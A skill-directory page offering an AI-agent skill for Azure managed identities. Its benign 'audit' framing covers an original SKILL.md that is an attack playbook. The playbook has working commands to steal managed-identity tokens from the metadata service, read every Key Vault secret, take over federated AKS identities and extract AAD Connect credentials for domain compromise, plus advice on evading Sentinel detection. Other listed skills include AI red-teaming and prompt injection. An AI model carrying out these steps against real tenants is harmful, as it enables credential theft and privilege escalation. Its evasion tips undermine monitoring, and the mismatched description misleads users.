azure-managed-identity
What it does
This skill covers Azure managed identities, which let compute resources get tokens for other Azure services. It is for cloud administrators and security reviewers who audit Azure workloads.
When to use it
- βWhen an Azure administrator asks the agent to list which VMs or apps have managed identities with broad access.
- βWhen the agent checks which token audiences a workload can request, such as Key Vault or Graph.
- βWhen a report must explain how a compromised workload could reach other Azure services.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βWhich of our Azure virtual machines and apps have managed identities, and what can those identities access?β
5 new skills a week. 1 minute to read.
How it works
The agent lists the workloads with managed identities, reviews the role assignments tied to each identity, and flags those with broad access.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Azure Managed Identity Abuse
You have RCE in an Azure compute resource (VM, App Service, Function, AKS, Container Apps). Steal the Managed Identity token and pivot.
Steal the token
Linux VM / Container
TOKEN=$(curl -s -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq -r .access_token)
Windows VM
$h = @{Metadata="true"}
$r = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -Headers $h
$TOKEN = $r.access_token
App Service / Function (different endpoint, requires IDENTITY_HEADER)
TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
| jq -r .access_token)
Common token audiences (resource param)
| Audience URL | Use |
|---|---|
https://management.azure.com/ |
ARM β list/modify Azure resources |
https://graph.microsoft.com/ |
Microsoft Graph β read directory, mail, groups |
https://vault.azure.net |
Key Vault β secrets, keys, certificates |
https://storage.azure.com/ |
Storage account β blob/queue/file/table |
https://database.windows.net/ |
Azure SQL |
https://servicebus.azure.net/ |
Service Bus |
Request one token per audience β the MI assignment determines which work.
Use the token
# Enumerate the subscription
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .
# List Key Vaults (then a VAULT_TOKEN to read secrets)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUB/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01"
# Read every secret
VAULT_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)
curl -s -H "Authorization: Bearer $VAULT_TOKEN" "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | jq .
Pivot patterns
| MI permission | Pivot to |
|---|---|
| Contributor on subscription | RunCommand on every VM in the sub β fleet-wide RCE |
| KeyVault Reader / Secrets User | Decrypt all stored credentials |
| User Access Administrator | Self-grant Owner role anywhere |
| AAD App Owner | Modify app registration β app-credential persistence |
| Storage Account Contributor | Steal storage keys β SAS tokens (low audit signature) |
Workload Identity (federated, no client secret)
AKS pods using Workload Identity Federation get a token via projected SA token + STS exchange. Steal the projected token from /var/run/secrets/azure/tokens/azure-identity-token, then:
SATOKEN=$(cat /var/run/secrets/azure/tokens/azure-identity-token)
TOKEN=$(curl -s -X POST "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token" \
-d "client_id=$CLIENT_ID&scope=https://management.azure.com/.default&grant_type=client_credentials&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=$SATOKEN" | jq -r .access_token)
AAD Connect MSOL (hybrid environments)
On a server running AAD Connect, MSOL_xxxxxxx in local SAM has DCSync rights β full domain compromise. Steal via DPAPI:
# Run as SYSTEM on AAD Connect server
$key = (New-Object System.Security.Cryptography.AesManaged).Key
# AADInternals does this end-to-end:
Get-AADIntSyncCredentials # AADInternals β extracts MSOL creds
OPSEC
- Azure Activity Log records every ARM call. Use Graph for low-noise enumeration.
- Token TTL ~24h. Re-stealing is logged via the IMDS access pattern (visible in Azure VM monitor).
IDENTITY_HEADERenv on App Service is process-scope β exfil it from a single trick command, then reuse.- Defender for Cloud + Microsoft Sentinel detect: "ManagedIdentityToken used from non-Azure IP" β exfil tokens carefully.
References
- MicroBurst (NetSPI), MicroBurst-Cloud (Karl Fosaaen) β Azure-specific tooling
- ROADtools (Dirk-jan) β AAD enumeration without alerts
- DEFCON 30 "Abusing Azure Active Directory" β Andy Robbins
FAQ
What is a managed identity?
It is an Azure identity that a service uses to sign in to other Azure services without storing a password.
Which services can the token reach?
The skill lists Azure Resource Manager, Microsoft Graph, Key Vault, storage and SQL as common audiences.
How is the risk reduced?
The skill points to giving each identity the smallest role it needs, which the account owner decides.
Details
Original description by the author
Azure Managed Identity abuse β IMDS at 169.254.169.254 from compromised VM / App Service / Function, token exchange for Graph/ARM/KeyVault, federated workload identity abuse, hybrid AAD Connect MSOL credential extraction.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13986
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.